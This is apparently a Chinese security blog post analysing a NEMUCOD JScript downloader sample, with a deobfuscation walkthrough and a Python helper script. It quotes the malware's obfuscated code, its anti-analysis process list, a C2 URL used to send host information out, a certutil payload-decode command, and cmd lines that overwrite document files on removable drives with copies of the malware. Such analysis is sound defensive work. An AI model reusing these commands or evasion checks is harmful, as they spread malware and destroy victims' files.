NEMUCOD病毒jse样本分析

该病毒使用微软的JScript编写,能够直接运行在Windows操作系统之上,采用了加密和混淆手段对抗监测,可检测是否运行在虚拟机中和系统中是否存在分析工具,可感染可移动存储介质,主要功能为下载器。CC服务器为185.159.82.15,通过关联威胁情报,该样本为NEMUCOD家族样本,该病毒通过垃圾邮件传播。主要功能如下图所示。

Figure 1 Infection chain

样本的基本信息

文件大小: 651 KB (666,907 字节)
MD5: da9cad0fa9c7e928b8affd67ea382226
SHA1: e6adc360a1c095f8ed1e53e5c90d467461d24578
SHA256: 2a35073fe045874835bc96fd221e985cf0898cf669892af54c9f64acd2f88d7b
SHA512: 1bd5d6bd47d7ccba90d22c93380677f06262e87539e0c6a1209c24f5ebcb8d8b784d289d698db38be2e6e92663d57ea1cb1a99cb9f54ea883e98ffe380901d6d
CRC32: a5808d46

分析环境和工具

1.解密

该样本是一个加密的js文件,打开后如下图所示

在这里插入图片描述

使用了windows 的jsencode方式进行加密,在百度上搜索jsencod解密会找到很多在线解密的网站,这里使用 https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm 进行解密。

在这里插入图片描述

解密后的代码,使用https://beautifier.io/进行格式化

在这里插入图片描述

格式化后的代码如下图所示

在这里插入图片描述

2. js去混淆

解密后的js代码是经过混淆的代码,需要去混淆才能了解其真实的功能。

代码中大部分的字符串,都使用了PtovUtS函数进行了混淆,这个函数的功能是根据ascii码返回相应的字符,类似于python中的chr函数

function PtovUtS(pjepfor, ufupgr) {
    //try块中的部分不会被执行,因为jnvdiscu_5函数无定义
    try {
        gUEncforward81ko = 'conscience91';
        gUEncable81ko = 'situationbecame95';
        gUEncHere83ko = 'humans5';
        jnvdiscu_5(pjepfor, ufupgr);
    } catch (e) {
        //若第二个参数不是hate的话,返回 true
        if (ufupgr != 'hate') {
            return true;
        } else {
            //若第二个参数是hate的话,返回第一个参数的表示的ascii码
            return String[['from'] + ['Char'] + ['Code']](pjepfor);
        }
        return 0;
    }
};

比如下面这段代码

var gUEncthere67 = this[(function() {
    var testh6 = [];
    testh6[0] = 0;
    try {
        testh6[1] = pvkgive4_7();
    } catch (nhusEuro) {
        if ((nhusEuro + '').indexOf('b') > -1 && PtovUtS(234, 234)) {
            testh6[1] = 87;
            return PtovUtS(testh6[1] + testh6[0], 'hate');
        }
    }
    return PtovUtS(testh6[1] + testh6[0], 'hate');
})() + (function() {
    var suiwri6 = [];
    suiwri6[0] = 1;
    try {
        suiwri6[1] = ([82] * 1);
    } catch (jpejava) {
        if ((jpejava + '').indexOf('b') > -1 && PtovUtS(40, 40)) {
            suiwri6[1] = 82;
            return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
        }
    }
    return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
})('Both38') + (function() {
    var fpugrati9 = [];
    fpugrati9[0] = 0;
    try {
        fpugrati9[1] = {
            11: 99
        } ['11'];
    } catch (qvvpskil) {
        if ((qvvpskil + '').indexOf('b') > -1 && PtovUtS(164, 164)) {
            fpugrati9[1] = 99;
            return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
        }
    }
    return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
})() + (function() {
    var ttuconte7 = [];
    ttuconte7[0] = 0;
    try {
        ttuconte7[1] = ([114] * 1);
    } catch (wswtac) {
        if ((wswtac + '').indexOf('b') > -1 && PtovUtS(43, 43)) {
            ttuconte7[1] = 114;
            return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
        }
    }
    return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
})() + (function() {
    var sphavala8 = [];
    sphavala8[0] = 0;
    try {
        sphavala8[1] = ([105] * 1);
    } catch (ffivfoun) {
        if ((ffivfoun + '').indexOf('b') > -1 && PtovUtS(41, 41)) {
            sphavala8[1] = 105;
            return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
        }
    }
    return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
})() + (function() {
    var nnjgr9 = [];
    nnjgr9[0] = 1;
    try {
        nnjgr9[1] = ttudiscu_7();
    } catch (kusjforce) {
        if ((kusjforce + '').indexOf('b') > -1 && PtovUtS(101, 101)) {
            nnjgr9[1] = 111;
            return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
        }
    }
    return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
})(true) + (function() {
    var twksk8 = [];
    twksk8[0] = 4;
    try {
        twksk8[1] = ([112] * 1);
    } catch (hkwhoth) {
        if ((hkwhoth + '').indexOf('b') > -1 && PtovUtS(96, 96)) {
            twksk8[1] = 112;
            return PtovUtS(twksk8[1] + twksk8[0], 'hate');
        }
    }
    return PtovUtS(twksk8[1] + twksk8[0], 'hate');
})('human41', 'entertain10', 'clutches13', 'thus98')];

其真实的语句为

var gUEncthere67 = this["WScript"];

使用python和正则表达式,结合系统自带的cscript.exe程序,可还原大部分被混淆的代码,python代码如下

#-*- coding:utf-8 -*-
import re,os,sys

js = """
function PtovUtS(pjepfor, ufupgr) {
    try {
        gUEncforward81ko = 'conscience91';
        gUEncable81ko = 'situationbecame95';
        gUEncHere83ko = 'humans5';
        jnvdiscu_5(pjepfor, ufupgr);
    } catch (e) {
        if (ufupgr != 'hate') {
            return true;
        } else {
            return String[['from'] + ['Char'] + ['Code']](pjepfor);
        }
        return 0;
    }
};"""


filename = sys.argv[1]
data = open(filename,'r',encoding='utf-8').read()



b = re.findall(r"((\(function\(\) \{.*?PtovUtS\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass


a = re.findall(r"[A-Za-z0-9]+\[\d\] = \{.*?\d+\: \d+.*?\} \[((\(function\(\) \{.*?PtovUtS\(.*?\).*?\}\)\(.*?\)( \+ )*)+)\];",data,re.M | re.S)
for i in a:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass



b = re.findall(r"((\(function\(\) \{.*?PtovUtS\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass

#保存结果
open('去混淆'+ filename,'w',encoding='utf-8').write(data)

上面代码中的正则表达式含义如下图所示

在这里插入图片描述

去混淆之后代码不到400行,可以看到CC服务器的IP
在这里插入图片描述

3 分析去混淆后的代码

代码的主体是一个死循环

首先会获取系统操作系统和进程信息,保存为一个字符串

在这里插入图片描述

操作系统信息如下,包括名称和版本号,如

Microsoft Windows 7 旗舰版 6.1.7601

进程信息 进程名1*进程路径1\n进程名2*进程路径2\n…,如

System Idle Process*null
System*null
smss.exe*null
csrss.exe*C:\Windows\system32\csrss.exe
wininit.exe*C:\Windows\system32\wininit.exe
csrss.exe*C:\Windows\system32\csrss.exe
winlogon.exe*C:\Windows\system32\winlogon.exe
services.exe*C:\Windows\system32\services.exe
lsass.exe*C:\Windows\system32\lsass.exe
lsm.exe*C:\Windows\system32\lsm.exe
svchost.exe*C:\Windows\system32\svchost.exe
vmacthlp.exe*C:\Program Files\VMware\VMware Tools\vmacthlp.exe
svchost.exe*C:\Windows\system32\svchost.exe
svchost.exe*C:\Windows\System32\svchost.exe
svchost.exe*C:\Windows\system32\svchost.exe32\svchost.exe

匹配当前进程信息中是否含有下列字符串,有的话退出。该样本会检测当前环境是否为虚拟机,是否运行为取证工具和防病毒软件。

2B.exe
indexOf
Procmon
Wireshark
Temp\iexplore.exe
ProcessHacker
vmtoolsd
VBoxService
python
Proxifier.exe
Johnson
ImmunityDebugger.exe
lordPE.exe
ctfmon.exe*JOHN-PC
BehaviorDumper
anti-virus.EXE
AgentSimulator.exe
VzService.exe
VBoxTray.exe
VmRemoteGuest
SystemIT|admin
WIN7-TRAPS
Emily\AppData
procexp
tcpdump
FrzState2k
DFLocker64
vmware
LOGSystem.Agent.Service.exe
C:\Users\user\
C:\Users\milozs\
windanr.exe
gemu-ga.exe
HAPUBWS
BennyDB.exe
Peter Wilson
Hong Lee

在这里插入图片描述

将自己拷贝到系统启动目录下,命名为

C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse

在这里插入图片描述

将之前获取的操作系统和进程信息通过POST方法发送给C&C服务器,C&C服务器的URL为

https://185.159.82.15/hollyhole/c644.php

在这里插入图片描述

将后台的响应保存为一个PE文件,文件名为一个 %TEMP%\随机值.exe ,若响应不是二进制数据(实际为base64编码的pe文件),将其保存为%TEMP%\随机值.cro,再使用下面的命令将其解码为pe文件

certutil -f decode C:\Users\ADMINI~1\AppData\Local\Temp\120698.cro C:\Users\ADMINI~1\AppData\Local\Temp\779421.exe

在这里插入图片描述

若下载文件失败,将在可移动驱动器中查找具有以下扩展名的文件,并使用自身的副本替换这些文件

*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb

在这里插入图片描述

具体操作为:
首先遍历系统当前所有的驱动器,寻找可移动存储介质,找到后执行如下命令,将当前驱动器下所有后缀名为*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb的文件名输出到文件 %TEMP%\ascii.txt

cmd /U /Q /C cd /D X: && dir /b /s /x *.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb >> %TEMP%\ascii.txt

然后,再遍历%TEMP%\ascii.txt中的文件,使用自身副本替换掉这些文件,使用如下命令

cmd /U /Q /C copy /Y C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse X:\y\z.jse && && del /Q /F X:\y\z.doc

最后,删除文件 %TEMP%\ascii.txt

若下载的文件是一个合法的PE文件,执行

在这里插入图片描述

参考资料

Online JavaScript beautifier

JS混淆加密压缩 - 站长工具 (chinaz.com)

Trickbot Delivered via Highly Obfuscated JS File (trendmicro.com)

Deobfuscating Ostap: TrickBot’s 34,000 Line JavaScript Downloader | HP Wolf Security

shell.jse - Pastebin.com

新型JSNEMUCOD病毒样本分析报告 - FreeBuf网络安全行业门户

Trickbot银行木马变种分析 - 百度安全社区 (baidu.com)

Trickbot银行木马变种分析 - FreeBuf网络安全行业门户

变形脚本病毒的“照妖镜”——火绒“脚本行为沙盒”简介 (huorong.cn)

TrojanDownloader:JS/Nemucod分析【原创+翻译】 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

警惕钓鱼邮件——近期勒索软件高发 - 知乎 (zhihu.com)

Reverse engineering a JavaScript obfuscated dropper | Infosec Resources (infosecinstitute.com)

http://www.cse.psu.edu/~sxz16/papers/malware.pdf

(185条消息) 使用JScript.encode进行网页的加密与解密 _joliny的博客-CSDN博客

Michael’s Blog :: Just Do IT (toplee.com)

JScript.Encode 在线解密 (jb51.net)

跟我一起写Windows JS脚本(一):Hello World

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值